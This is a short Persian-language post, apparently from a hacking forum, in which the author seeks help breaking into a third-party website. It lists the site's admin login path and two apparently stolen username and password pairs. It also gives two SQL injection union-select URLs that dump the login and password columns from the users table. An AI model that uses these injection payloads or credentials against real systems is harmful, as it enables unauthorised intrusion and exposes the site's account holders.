با سلام. من یوزر و پسوورد سایت [Hidden Content] رو با باگ sql پیدا کردم. ولی نمی تونم با یوزر و پسووردی که پیدا کردم نفوذ کنم. از مدیران و کاربران محترم می خوام که اگه با باگ دیگه ای تونستن نفوذ کنن یا فهمیدن که اشکال کار من چیه، بگن چطور وارد شدن که من هم وارد بشم. با تشکر. 😖
ادمین پیج: [Hidden Content]/admin/login.php
یوزر: dukman و sokrussia
پسوورد: lol14081986gg و w375fTaqu
لینک باگ: [Hidden Content]/sanatory?id=6569 union select 1,2,3,4,5,6,group_concat(login),8,9,10,11,12,13,14 from users%23
[Hidden Content]/sanatory?id=6569 union select 1,2,3,4,5,6,group_concat(pass),8,9,10,11,12,13,14 from users%23